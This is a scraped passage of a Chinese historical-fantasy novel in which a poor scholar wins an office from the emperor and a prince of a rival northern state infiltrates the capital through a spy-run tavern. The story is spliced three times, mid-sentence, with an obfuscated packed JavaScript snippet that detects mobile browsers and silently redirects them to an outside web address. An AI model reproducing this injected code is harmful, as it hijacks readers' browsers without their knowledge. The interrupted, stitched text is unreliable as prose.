八月下旬,大名府知府伯丕上报灾情的折子像流水一样涌入汴京。中书和三司异常重视,快到陛下寿诞,这种节骨眼上万万不能出此不吉之事。好在大名府知府伯丕抢险及时,未造成太大的死伤,这股没由来的河水也很快退去,陛下还下旨大大地嘉奖了伯丕一番。 乔维年听岳父徐寿说,伯丕在奏折中推测河水上涨的缘由为大地动,乃是天灾。既是天灾,便也没有什么理由继续为难这霸州来的书生了。 乔维年不甘心,正欲开口再说,挑剔一下状纸上为何没有漆封。忽听外面一阵骚动,紧接着又是一尖细的传呼声,是入内内侍省都都知周海涯的声音! “陛下驾到——” 10. 因祸得福 “陛下驾到——”尖细的传呼声打断了乔伟年。 乔维年不知陛下为何会突然来此,这个时辰不应该在准备早朝吗?不及多想,慌忙起身,带着属官们快步走向门外跪迎皇帝。 栾素也很震惊,只是他没有被教导过官场礼仪,有些进退失据,慢了几拍。犹豫间那道被簇拥着的米黄衣衫已经转了个弯儿,快走到公廨了,此时再出去跪在乔维年他们身后,不免有些突兀。栾素没法,只得原地跪下。 衙吏引路在前,驾头在后,皇帝季祉浩浩荡荡一行人走到了公廨。 “臣等恭请陛下万安。”众官吏齐声高呼。 “都平身吧。朕近日觉浅眠少,瞧着离早朝还有些时间,就想着到宣德门外面看看,卿等在忙些什么啊?” 皇城的宣德门外就是御街,和浚仪桥大街相邻,都进奏院又在浚仪桥大街街头,怪不得皇帝会来此处。 乔维年站起身,向着皇帝微微弯腰,恭敬地说:“启奏陛下,臣在和同僚们整理今年各州递送上来的考课状。” 季祉有些惊奇:“今年送上来的是不是有点早啊?” 乔维年微笑着解释道:“陛下明鉴,考课状本为着‘考绩黜陟,昭彰幽明’所设,按我朝惯例当是年末递送入京,呈至御前。然今岁河清海晏、景星庆云、仓廪充实、时和岁丰,政通人和之意远胜往年,皆因陛下励精图治、帝德广运,四方州府感怀在心,百姓亦是颂声载道,故而自发列出了辖内的农桑赋税之事,提前交上了来。” 季祉浅浅笑了两声:“哈哈,行了,都别在外面站着了,进去说话。” 周海涯扶着季祉,看了一眼季维年,要是大名知府伯大人听到这“河清海晏”之词,怕是要被气吐出血来。 栾素跪在屋内听了外面的对话,若依着刚才这位脾气骇人的大人所说恭维之词,状子这关,自己应该是能够顺利渡过去了。 季祉撩起衣袍,抬脚步入公署,余光立刻就扫到了跪着的栾素,没有马上开口说话,径直走到桌案后,坐定,发问。 “门旁下跪何人啊?” 栾素刚刚看到一双绣着暗纹的皂角靴在众人之前从自己头旁经过,知道这就是皇帝,便也跟着挪动跪拜的方向,此时他正好朝向了皇帝季祉坐下的方位。 “回陛下,学生栾素,霸州人士,受霸州知州高确所托,进京递送考课状,以表霸州承陛下教化之效。”栾素强装镇定地说着,头略抬高了一些,快速瞄了一眼上面。皇帝穿了件米黄色的窄袖袍,戴着顶垂脚幞头,端坐在上。 乔维年听着栾素说的话,攥了攥手。 栾素刚才交上去的状子和一应文书都还在书案上,季祉随手翻开看了看。 “你是举子?” “回陛下,学生是淳兴二十年霸州新中的举人。” “起来回话吧,霸州文治如何,举人新晋为何数?” “谢陛下。”栾素尽量小幅度动作地站起身。 “高大人治理霸州一年有余,兴庠序、重礼教、事农桑、查边防,州县百姓居有定所,文士得以专心向学。只是霸州地处边境,民风习俗使然,青壮人口多进弓箭社,平日操练刀剑之余亦得亲理农务,是以淳兴二十年霸州三县新晋举人只学生一人。”栾素说的话一半真一半假,可是他也没有办法,只能在心里鄙夷自己。 趁着回答的功夫,栾素终于瞧见了皇帝陛下的圣容,虽说皇帝已到了知天命的年岁,但是看着很是年轻,面相和蔼,还留着儒雅的髯须。 “霸州何人主持的解试?” 栾素没想到话题还会继续深入,但还是认真地回话:“是霸州通判杨仁佐杨大人。”自己已经交上了考课状,陛下也没说什么,自己一会应该就可以走了吧。 “杨仁佐……啊,朕记得他,是淳兴三年的进士吧?”季祉看向身旁的周海涯,周海涯点了下头,小声地说了声“是”。 “当年殿试,朕出了一题,先仁宗皇帝,在位三十一年,得宰执一十九人,明良会遇,俱是治世贤臣,朕问本朝应行何种法度擢用人才,再续盛世。你是怎么看的?” 乔维年错愕,快速看了一眼栾素。陛下这是在……奏对吗?和一个举子? 栾素是真的有些惶恐了,声音微微发颤:“陛下恕罪,栾素只是一举人,此种庙堂之策朝廷各位相公大人必有说法,学生之言恐扰乱圣听。” “便是朝中的大相公也是从举人做起的,但说无妨。” 栾素眼看逃不过去了,深吸一口气定了下心神,郑重地说:“依学生愚见,立政图事,人才为重,用得其人兴,用匪其人乱。我朝官员升迁需经磨勘考课,计其历任岁月、是非功过而迁之,有用之才不得已空耗年岁,实为国家损失。为国虑,若可不限员数,不拘资历,杂举中外文武之才,近言之,收功于当代,远言之,为利于无穷,此为一策;” “富人造屋亦需植树于数十年之初,方无有求无之之患,况乎国事,需储才于闲暇。然人才难得,亦有不同,监管之才、郡守之才、财赋之才、整军之才,才才不相通,有文韬者未必有武略,或智或勇、或中正或强干,皆需取人之所能。任不可违所长,用不可过其量,此为二策;” “太祖皇帝制:官员外放,三年一任。到任半年,始知风俗、去还半年,已怀归志、专心政事,不足两载。官员才华难施,因循守旧,不求无功,但求无过,则弊从其中生矣。学生认为可延任期,少易治所,治理有效,则增秩赐金,擢升重用,此为三策;” “任贤使能,为陛下与诸相公之柄,然将相卿士虽多如牛毛,若上位者常怀嫉妒之心,同己者用、异己者弃,人才衰落,则遗患后世,当以李林甫之流为戒,此为全策。” 乔维年听完,神色有些复杂。看了一眼皇帝,摸不清皇帝的态度,不知道是不是该开口申斥栾素妄议祖宗之法。 栾素十分庆幸早先喝了那碗茶,说了这么长段话后,真是口干又舌燥。场面在一阵倒豆子般的言语输出后,诡异地安静了下来。 好在皇帝又继续开口问话了,“家状所写,你父母早逝,平日以何营生为活?可有进官学啊?” “回陛下,学生少时父亲务农,母亲浆洗,后父母俱丧,为得入土为安,只能变卖了家中土地。学生平日里帮人代写书信,勉强过活。幸朝廷有制,地方官学免了学子的学杂费,每月还能领到几百文的贴补,这才能一路读上来。” “你在汴京有落脚之处吗?” “回陛下,暂时还没有,学生预备找家小店住下,准备明年的春闱。” 又是一阵寂静无声,都进奏院的官员互相对着眼神。 季祉看着栾素,似是在思考。 “周海涯,传朕旨意——”屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488259|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内站着的人皆俯身倾听。 “霸州举人栾素,今者献文,笃学有行,特授承务郎,试秘书省正字,校勘典籍。勉之。” 栾素怔怔地立在屋子中央,周海涯温声地提醒道:“栾大人,可以谢恩了。” 栾素像是大梦初醒般回了神,立时便跪了下去,“栾素叩谢皇恩!” “咚”的一声,结结实实的一个响头。 这边季祉的旨意还没有结束,“霸州文安县县令、县丞一干人等,罢,着有司查问其罪,另选才充之。” 栾素借着跪拜的动作隐藏了上扬的嘴角,许是陛下看到了高确写的状子,也好,报应不爽! 栾素十岁那年,母亲因积劳成疾过身。为筹集母亲的丧葬费用,栾素借遍了能借之人,可寿木、寿衣、纸钱、唢呐班子零零总总加在一起花销巨大,一时之间难以凑齐。文安县县令杜霖的管家找上了栾素,说看在他的孝心上,可以出高于市价两成的价格把栾家的地收了。 栾素着急安葬母亲,听说有人愿意出高价收地,便同意了这桩交易。当天那管家来到栾家土屋,与栾素签了一纸白契,约定以每亩五百五十文的价格买下栾家在城东的四亩土地。双方签字画押,栾素也取来了地契,可那管家却说钱没带够,明天再带来。 后来栾素才知道自己当时有多傻,不光没请里正和邻居做个见证,也没有等那管家送来钱就把地契给了人。第二日,那人果然没再上门,栾素跑去找他,那管家推说不知此事,一口咬定城东的土地本来就是自己的。栾素拿出一式两份的白契,却被告之不作数,人也被打了出去。 “白契”属于民间私相授受,不受律法保护,但使用白契不用向官府缴纳契税,以及走一些复杂繁琐的流程,所以在民间依然长期存在。而白契经过官府查验,缴纳契税,再加盖官府专用的税印,就可以变成律法承认的“红契”。 栾素没法,只得告上县衙。接待他的就是文安县的县丞,事情被草草处理。那管家愿意与栾素签订一张新的红契,可是每亩的价格却只有二百文了。栾素咽下这口气,拿着卖来的铜钱,将母亲安葬了。 这次栾素往文安县衙索要驿券和资银,这位县丞亦在阻拦之列。 “快到早朝了,你们接着忙,朕先回去了。” “恭送陛下。” 众人行礼送走了皇帝。清晨的衙门一如既往地运转了起来,进奏官依旧穿梭在府内送着各地的文书,衙吏依旧站着岗,臭脸大人依旧臭脸,只是有些东西不同了。 “栾大人?栾大人回神了。”有人轻轻拍了一下栾素的胳膊。 栾素还没适应这个新称呼,猛地转头看到一个白白胖胖的笑面人,似是个内侍,可惜自己不认识,“不知这位大人有何指教?” 笑面人笑得更开心了,“无事,咱家叫周钤,是入内内侍省的内西头供奉官,刚才陛下旁边的那位,是咱的干爹。干爹留我下来带大人去履职,栾大人收拾收拾咱们就出发吧。” 栾素如蒙大赦,“多谢周大人关照,我正是一团乱麻,毫无头绪。” “分内之事,算不上关照,要说大人真是好福气,往常那些个勋爵人家的举人子弟都是等荫官封下来的,大人这样的,十年难得一遇呢。” “一时运气好而已,周大人莫要说笑了。” 两人互相恭维着朝外面走去。 11. 茶肆接头 汴京城高耸的城楼就在前方,卢轸没有急着进去。四下观望一番,零零星星地有着几处歇脚的地方,卢轸牵着乌雅走向了远离干路的一家茶肆。 茶肆内房屋简易,从外面看一览无余,位置也不是很好,只有一块挂在红杆子上的浅绿色望子在招揽客人。门口的桩子上栓了五六匹骆驼,里面拢共只三张四方桌子,并几个长条板凳。 其余的桌子都被坐满了,茶客们勾着头不知在说些什么。卢轸走向唯一空着的桌子,吆喝着伙计上茶。 茶肆外间两面迎风,只一根柱子和剩余两面墙壁撑起屋檐。帘子隔开了外间和灶台,伙计掀起帘子走出,给卢轸送茶。 伙计用肩上搭着的纱巾擦了擦桌子,殷勤地摆好茶碗,热情地和卢轸搭话:“客官是打哪来的呀?” 卢轸抿了一口茶,回答着伙计的问题,“从西楼来,茶博士可曾听过?” “听过听过,咱们东家原也在西楼那边住过。”伙计听到了熟悉的地名,忍不住多说了一句。 “那巧了不是。”卢轸微笑着回应伙计。 卢轸放下茶碗,指着茶肆的一面墙壁,“这位茶博士,敢问你家茶肆墙壁上题的诗,为何只有上句没有下句啊?” 伙计顺着卢轸指着的方向看了看,“客官有所不知,这诗是东家所题,可惜没能想出匹配的下半句,故而就放在这里了。” 卢轸一手撑着桌子,一手托着脑袋,开玩笑似地说:“我若是能想出下半句,可否把我的茶水钱免了呀?” 伙计告罪:“这小人可做不了主,不如客官您先题上,咱们东家今天正好在里间,说不定就把您的茶钱给免了呢。” 卢轸把茶碗里的茶饮尽,对着伙计说:“我来试上一试,取笔来。” 伙计很快取来了毛笔,卢轸接过蘸了蘸墨,没有过多的思考,挥毫就接上了墙上的半句诗。 伙计捧着墨盒,一字一字地念出了墙上的诗句:“春来草色一万里,芍药牡丹相间红。”声音不大,也就能刚刚好传到里间。 话音刚落,茶肆里间传出来一道和煦的声音:“鹿乡,把客人领进来吧。” “好嘞!”伙计掀起隔断的帘子,引着卢轸进去,“客官您请。” 卢轸把笔放到桌子上,对着伙计道谢,“多谢多谢,看来茶钱能免掉了。” 这小茶肆的里面别有洞天,从外面透过帘子只能不真切地看到烧水的灶台,没想到竟还有个单独的小房间。 里间坐着的是个年轻男子,二十多岁的年纪,穿了件深绿色的绸布长衫,一副笑眼盈盈的模样,瞧着是个很体面的管家。桌案上还放着本摊开的书,他似是坐了很久了。 看见卢轸进来,男子主动站起身打了招呼,“在下张文,是这茶肆的老板,客官如何称呼?” 卢轸张嘴欲说什么,却又忍了下来,抱拳还礼,“叫我卢二就好。” 刚才为卢轸引路的伙计鹿乡,侧身进来通禀,只是这次身上已经没了小二的市井味道,“东家,外面的茶望子已经取下,不会再有人来了。” 望子和酒旗之类的布帆一般都挂在外面的杆子上,写着自家店铺的名字作招呼迎来过往的食客之用。望子取下,则说明店家的茶水饭食售空。 张文对着鹿乡吩咐着:“叫大家在外面仔细着点。” 鹿乡领命出去,外间的说话声变得更大了些,不知道是不是刚才旁边两桌喝茶的茶客聊到了什么高兴的事。 卢轸装不下去了,上前一步,对着张文亲切地说:“临扆哥,原来是你!姐姐没跟我明说是谁,我猜了一路。好久不见了!” 张文笑着说道:“自延寿八年算起,到如今已有六年,大王与之前相比,愈发干练了。” 卢轸讪讪一笑:“临扆哥莫要取笑我了,我这大王才当了四年,如何长进。” 张文引着卢轸在桌旁坐下,“之前西楼传信时,有提到过大王,只字片语便足以窥见了,大王不用妄自菲薄。” 西楼是音译之后的朔木语,朔木人常用来指代上京临潢府。 张文,亦可称为临扆。是记在卢轸姨姥姥度明名下的孙子。度明是朔木国的大惕隐,掌管着朔木国的皇族教化,负责敦睦宗室以及纠正违失,相当于易朝大宗正司里的知大宗正事,是乞奚族内德高望重的大家长。 临扆很是关心带自己长大的度明,“大惕隐可还好?冬天腿脚还会疼吗?”度明年轻时随军出征,腿上中过冷箭,每每天气阴凉下雨时,旧伤都会复发。 卢轸回答道:“今年的木叶仪上刚见过,大惕隐安好,大君早早便吩咐人将今年的红罗碳和虎骨药酒送到了惕隐府。只是惕隐现在年岁渐长,已经不参与朝政了。” “这就好。”临扆放心地点了点头。 “怎么没见到菁纭姐?她没跟着临扆哥一起来吗?”卢轸问的是临扆的妻子。 “菁纭没有来,南朝不比朔木,女子虽可经商,但行为举止多有不易,大王一路走来,想必也看到了些。”临扆略带苦涩地解释着。 卢轸回忆起赶路途中的所见所闻,无奈地点头,“是,路上虽没有进过城,但途中遇到的商队,十之有九都是男子,听说易朝女子经商要比男子缴纳更多的税款,还有“拦取钱”、“事例钱”各种各样的名目,真真是可笑之极。” 临扆提醒着说:“南朝律例如此,我们也没有办法。大王此行南下,扮成走南闯北的商户,还是以男儿相露面为好,省的生出一些不必要的事端。” 卢轸点头,给自己和临扆都倒了杯茶,问出了现在最关心的问题,“临扆哥是怎么安排的?我们如何进城?” 临扆笑着说:“此事容易,大王的户籍文引已经安排妥当,还请大王先换上一身衣裳,咱们拉货进城。” 朔木比易朝建国要早个一二十年。时年中原动乱之局将被易朝太祖终结,奇首大君选准时机,派遣子弟前往中原潜伏。此时中原百废待兴,数以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488260|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万计的百姓来到汴京城讨生活,官府来不及一一查点。朔木宗室子弟化名张姓管事,使了大把银子,打着帮远在福州的东家发展生意的名号,从官府手中换到了一张“曲引”。 所谓“曲引”即为官府发行的酿酒证明,拿到曲引,才可以购买官府的酒曲,自行酿造酒水,是为“榷酤制度”。全汴京城的曲引满打满算也只有七十二张。买到酒曲的酒楼,每每新酒上市,人头攒动,酒楼珠帘绣额,灯烛光耀,被称为“正店”,其酒水不仅可以自产自销,还可以批发售卖给没有酿酒权的众多“脚店”。 朔木宗室子弟,也就是数代张姓管事经营的酒楼名为“遇仙正店”,就开在汴京城内热闹的州桥旁边,与朔木使团下榻的都亭驿隔街相望。每任酒楼管事明面上监管着正店的生意,实际上则是统筹记录正店与其名下依附着的脚店每日来往食客说出的各类消息,并将消息传回朔木。 若管事有了孩子,年幼的孩童会经由榷场或者边境上的其他地方,被护送回朔木,由大惕隐亲自教导,待到成婚后,夫妻二人一同返回汴京,充当起新一任的正店管事。每任管事的人选是绝密之事,只有朔木大君和大惕隐知晓。 临扆从有记忆开始,就是在朔木临潢府长大的。返回汴京后,化名张文,是一个普通到不能再普通的名字,接管了酒楼正店,对外只说是少时在老家帮忙照看老人,如今上京来帮着父亲处理生意,而父亲自然回“老家”颐养天年了。 临扆退出里间,卢轸一边换着衣服一边听临扆说着自己的新身份。之前在析津府卢轸只是简单地和重辇商量了自己的新背景,具体的细节都要由临扆安排。 “大王户籍和公凭路引上记的名字依旧是本名,年十七,河间府人士,平日以转运货物为生,与遇仙正店的管事张文私交很好。此行从河间府来,到汴京给遇仙正店送一些枸杞、党参之类能入膳食的药材,共计七类十箱,俱在外面的驼架上。此行途中的过路税已全部缴清,路引上加盖了官方印鉴,由张文交接药材。在汴京城内的落脚点是“久住赵员外家”,就在下了州桥靠近保康门的地方。客栈由刚才的那位‘鹿乡’管着,是个可靠的地方,以后鹿乡就归到大王手下,汴京城里传递消息的门道大王都可以鹿乡。” 临扆刚刚说完,卢轸就换好衣裳走了出来,是一身和外面茶客差不多的料子做成的袍子。多年在外风餐露宿的生活,让卢轸打理起来自己得心应手。 卢轸端详着路引,不禁发问:“临扆哥,这印鉴是真的吗?” 临扆摆了摆手,“自然是假的。是对着真路引上的印章自己刻出来的,过个城门的盘查是足够了,再者我们还有孔方兄。” 说完,两人都是不约而同地笑出声来,看来银子在哪里都好用。 卢轸对着临扆行了一个叉手礼,一本正经地说道“小弟卢轸,万事但凭张文老板做主了。” 临扆笑着还礼:“等药材送到汴京正店,必让卢兄赚个盆满钵满。” 12. 老友见面 易朝汴京城宵禁十分宽松,月亮换掉了太阳的岗,新酸枣门这个时辰依然门洞大开。只是此时进城的人比早上已经少了许多,正是行贿的好时候。 临扆一行人拉着骆驼,慢慢朝城门走去。 因为行人较少,只有两个士兵在例行盘查,其余的兵士站在城门下,三三两两地围在一起闲聊,等着换班。 “田四哥!”临扆离老远就冲着一个留着络腮胡子的士兵头子大声打着招呼。 田四借着火光定睛一看,认出了临扆,“哟,是张老板回来了,可接到货了?” “今天这个点您还没下值呐,真是辛苦。”临扆走上前,熟稔地回应着田四,“劳您记挂,货已经接到了,这是过税,您给看看货,剩下的钱跟兄弟们买点酒喝,就当是我孝敬您的。”临扆说到后面,声音压得很低,卢轸站在后面的队伍里已经听不见了。 “好说好说。”田四接过临扆递来的东西,举着个火把朝骆驼这边走来。 田四走到驼架旁边,踩着杌子,打开一个木箱,探头看了看,“这便算看过了,放行!” 临扆点头哈腰地对着田四笑着说:“多谢田四哥行方便了,闲了来吃酒啊,最好的千日春,管够!” 临扆带头往城里走,后面的驼队也跟在后面开始移动。田四笑着目送临扆一行人进城。 旁边的小兵略显担忧地对着田四说:“头儿,就这么放过去吗?后面还有好几个大箱没看呢,不会出什么问题吧。” 田四笑而不语,掌心朝上松开,露出了刚才一直攥着的东西。 小兵看清田四手中的东西,瞪大了眼睛说道:“这,这,这么多!他们是什么人啊。” 田四一边掂着手里的银锭,一边说道:“前些日子,城里一大户人家的老祖宗说想要吃些稀奇的药膳,当家的孝顺,按着老人家说的菜谱子,试遍了汴京的酒楼。别的酒楼都做不出来那个味儿,只遇仙酒楼的孟厨子做得勉强入了那老人家的眼,却是仍有不足。 他们使了银子和老人家身边的人搭上了话,这才知道老人家年轻时在北边呆过,那些个稀奇药膳约莫就是在北边时尝到的。听说味儿正的诀窍就是要用北边原地产的地道药材,别地产的药材虽说品质什么的更好一些,但是都不是那个味儿。 他们去医馆买了来,重新做了几份送到了人家里去,当场就谈成了几年的大生意,以后那老人家的药膳都由遇仙楼供着。 之前城里药材铺的存货都被他们包圆了,现在药材用完了,这才火急火燎地从北边拉来许多草木根子。那药膳费时费力,光是小火慢炖就要两个时辰。张老板午后出城时,还说要赶着明早的饭点给老人家送去呢。 按着规矩,商人过城门,五十税一。这些北边来的枸杞什么的,不值什么钱,咱们五十抽二又能有多少,但咱们要是能给他们行个方便,让他们早早过去,这人情可就值老多喽。” 田四指着临扆离开的方向,继续对小兵说:“刚才那人就是州桥遇仙楼的张老板,平时咱们去他那喝酒都会搭着送个菜啥的,你刚来,没见过他也正常。刚才的箱子我看了,里面装着的确实是药材,后面的箱子里也都散着药味,再说了,遇仙楼就在那里,出了什么问题,他们还能跑掉?” 小兵像是想起了什么,兴奋地说:“哦,原来是这样,我听刘达说过,他们家的羊羔酒最是甘甜,要八十文一角呢。” “嘿嘿,你小子运气真好,刚来就碰上这好事。今日下值,咱们哥几个去打几角千日春尝尝,听说比羊羔酒还醇呢!哈哈哈。”田四笑着拍了拍小兵的头盔,说到最后高兴处,还高扬起了声音招呼着旁边几人。 卢轸和临扆并排骑在马上,卢轸轻轻扯了一下左边的笼头,乌雅便朝左边靠了靠。 临扆看着靠过来的卢轸,问道:“怎么了?” 卢轸嘴角勾出笑意,调侃着说:“张文兄,刚才那副逢迎讨好的样子,小弟之前可是从未见过。” 临扆无奈一笑,“情势所需,卢兄莫要取笑我了。” 卢轸又靠近了些,压低声音说道:“咱们就这么进来了?连准备的路引都没用上,这钱未免也太好用了吧。” 临扆解释说:“他们一日的劳资不过一百多文,我们编个故事,他们行个不大不小的方便,这二十两银子就到手了,他们没有不做的理由。” 卢轸点了点头,看着前面的岔路,转头无声询问临扆接下来该怎么走。 临扆向后挥挥手,队伍里的一个瘦高个汉子指挥着后面的驼队,抄近路朝遇仙楼走去,故事虽说是假的,但这孝子寻药膳的戏码还得继续演下去。 临扆先行半步,招呼着卢轸和鹿乡跟上,“我们快些往汴河大街去,一会儿人多就不好走了。” 汴京夜市直至三更尽,五更又复开张。雕梁画栋鳞次栉比,行人熙熙攘攘,还有闲汉穿梭其中送着客人提前订好的佳肴,瓦舍的招子旁边,耍杂技的角儿大声招揽看客,连货郎儿沿街叫卖的声音都被没掉了。 卢轸在上京的时候就听说过汴京夜市的盛景,如今亲眼看见,也算人生的另一种际遇。大声地赞道:“‘夜市千灯照碧云,高楼红袖客纷纷’,古人诚不欺我。” 临扆一边指着路过的护国寺,一边向卢轸介绍着:“汴京的夜市比扬州的规模还要大上许多,待到元宵灯会,这里只会更热闹。若卢兄那时还在汴京,可以上街一观。” 内城不许纵马,三人紧赶慢赶,总算是到了南边的保康门。 “久住赵员外家”明面上是江宁府一赵姓富户在汴京城开设的客栈,实则也是和遇仙楼下面那些个脚店一样的所在。 快走到客栈时,临扆伸手挡下了和自己并肩走在前面的卢轸。卢轸还没明白过来,鹿乡便已会意走在了最前面。 客栈里管事模样的人看到了鹿乡,忙放下算盘迎了出来,小声说道:“都按照吩咐开好房间了,左右各两间房已经安排咱们自己人住了进去,不会有人听到声音。” 鹿乡点了点头,临扆和卢轸跟在鹿乡身后,三人把缰绳递给管事,一起进了客栈。 三人上到二楼,从一众房间前经过。地字一号房似是在喝酒划拳,地字二号房像是夫妻二人起了争执,后面的房间也不是很安静。这是临扆吩咐鹿乡安排的,易朝不重宵禁,客人深夜投店也是常有的事情。汴京的客栈都是全天开张,既不能驱逐已经入住的客人,也不好关门休业,遇仙楼客人又太多,不比这里冷清,只得出此下策。 鹿乡推开了地字三号房的房门,里面已经坐了一人。 “菁纭姐!”卢轸已经刻意压低了声音,却依然可以听出其中掩饰不住的欣喜。 两人是小时候的玩伴,感情甚笃,后来菁纭和临扆成了婚一起去了易朝,两位好友便再也没有见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488261|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 菁纭抓着卢轸的手臂,上下仔细看着,“真是长大了,和小时候比,像是换了个人一样。你的溢泪之症可有加重?” “还是老样子,姐姐给我找了好多太医看过,也不见变好。左右也死不了人,就是麻烦些罢了。菁纭姐,咱们现在差不多高了。”卢轸对自己的老毛病不是很在意,一边说着一边比划两人的身高。 菁纭比卢轸大一些,小时候的个子自然也高一些,那时卢轸看着菁纭已经能骑快马了,自己却因为还没有马鞭长,被父亲管着不让骑马,当时的小卢轸很是在意自己的身高。 菁纭忙拍了一下旁边的桌子,“呸呸呸,又乱说话,平日多用些热帕子敷敷眼,便是治不好,也能缓解一二。” 卢轸有处不算严重的眼疾,不知道是不是体质原因,卢轸的眼睛比别人要更敏感些。风一过,脸上便有了两道水痕,风再大些,说是泪流满面都不为过。两人初次见面是在延寿元年的冬捺钵上,北风霸道,刀子一样得刮在人脸上,菁纭看着脸上泪痕结霜,却依然笑着打招呼的卢轸,颇有些茫然无措。 “是——”卢轸拉长声音回应着菁纭。 鹿乡站在门口戒备,卢轸三人围着圆桌坐下。菁纭准备的饭食已经摆到了桌上:胡饼、汤骨头、炙鸡、燠鸭、乳炊羊炖并上几盘绿油油的菜叶。 “还没用过饭吧,我叫人备了些,都是你小时候爱吃的。”菁纭又把菜往卢轸这边移点,仍嫌不够,拿起筷子把各种荤菜都夹了点放在卢轸的碗里,“临扆跟说我大君要派你来时,我还道他是诓人的呢。当年我们走时,你才多大,如今都能自己来南边办差事了。” 自己人坐在一起,便也不在乎什么器皿摆放,坐姿礼仪了,卢轸面前很快就堆起了一座肉山。 卢轸也是有些饿了,十分不客气地夹起一大块羊肉,“不挑不挑,有羊肉就行。菁纭姐你不知道,刚才在街上看着那些吃的,我都想去买两个尝尝,好像还有个叫‘饮子’的,也不知道是什么喝的。” 菁纭二人轻笑出声,看来大君家的姬小二还是和小时候一样啊。 酒没过三巡,但菜过五味后,临扆向卢轸问道:“这次水系异动,大王预备从何处查起?” 卢轸喝了口茶,清清嗓子,开始说自己的打算,“说起来有些棘手,目前唯一能确定的是问题就出在易朝这里。姐姐跟我说,我们在各地的酒楼管事会定期勘测附近州县的水源,所有数字都会记录在册。” 菁纭接上卢轸的话继续说道:“各地的分管事确实要勘察水源。只是往日报上来的数未见有何异常。 卢轸摇了摇头,“这次北边的几条大河也是这种情况,单从数上看没什么不妥之处,若不是有几处破绽,险些被糊弄过去。万一南边也有这种情况,下面的人没看出来怎么办?我要亲自一州一州查过才放心。往南去为易朝腹地,深入调查不易,就借着这次机会先查南边。范围不会太大,从北边水系变化的程度推测,那怪玩意最南也不会南过光州。” 穷举虽慢,却也最稳妥,菁纭点头,“北地水少,水系乃我朔木立国之本,确实要谨慎些。” 临扆看两人说定,继续问道:“大王预备何时出发,我叫下面人提前准备。” 卢轸还没来得及回答临扆的问题,外面平地起惊雷的一声叫嚷,冲破了左右四间房的声音防线,惊到了屋子里的四个人。 13. 歪打正着 淳兴二十一年,三月二十七日。 一辆普通的灰顶马车过了汴京城的城门盘查,慢悠悠地行驶在街上。 临扆在城外接到了从南边回来的卢轸,二人在马车里一南一西地坐着,小声说着话。 “大王此行一去五月有余,在南边可有什么收获?”虽然南下调查的过程中,卢轸都有靠射玉往汴京传递些消息,但当时结果未明,临扆还是希望卢轸能带来些好消息的。 卢轸摇摇头,一旁的临扆拧了拧眉头。 “没有结果也不算是坏事,至少我们排除了南边的一大片区域呢。此一行,方知《千里江山图》如何能独步画坛,南方山水清丽秀润,与北方到底不同。”卢轸注意到了临扆的神情,笑着打破僵局,“水系异变这种超乎人力的事情,本就没有多少成型的线索可用,咱们只能一点点去找。” 临扆点点头。卢轸用手指勾起一小块帘子,向外望了望。 “刚才就感觉周遭安静不少,如今正是清晨做买卖的好时候,怎的街上人这么少?”卢轸不禁发问,这可比自己第一次傍晚进城时的人少多了。 临扆解释道:“大王刚从南方回来,不知道也正常,今日殿试放榜。过了省试的贡士们全聚在皇城东华门外,等候官员传胪,大半个汴京城的人都跟着去看热闹了。” 卢轸想起来了,“哦对,你之前传信给我的时候说过。咱们选的那些举子里,除了栾素省试位次靠前的,还有没有其他突出的?” 卢轸走后,临扆按照指示,又寻了些和栾素背景相似的举人资助。只是这么些人里面,考出来的只有栾素一个。 “寒门学子到底还是难啊。”卢轸摇摇头感叹,又向临扆问道,“可有消息说栾素这次是第几名?” 临扆说道:“暂时还没有消息传来,但名次应该变动不大。” 按照惯例,通过省试的学子,殿试不会黜落,只会根据殿试的表现,微微调整省试的名次。 “今天刚回来,事情还没有眉目。左右闲着无事,咱们也凑凑热闹去。”卢轸向后面靠实在了,对着临扆说,“临扆哥,现在酒楼生意忙吗,应该能一起去吧。” “当然可以,还没到忙的时候,且等放榜呢。”临扆说完,向前面驾车的归鱼吩咐道,“前面直走,咱们去东华门。” “好嘞!”归鱼应下,轻轻一拉止住了想要左转的马儿。 东华门外,人头攒动。高的、矮的、胖的、瘦的、老的、少的全都挤在这一条长街上,不远处还有人源源不断地赶来。 “借过一下……” “孙兄,真是好命啊,考了两次就过了省试……” “咱们之前可就说好了,你家小子这次考得好,得许给我们家姑娘。” “老天保佑,老天保佑……” “秦兄这次必定高中,咱们一会儿去吃酒,给秦兄贺喜!” 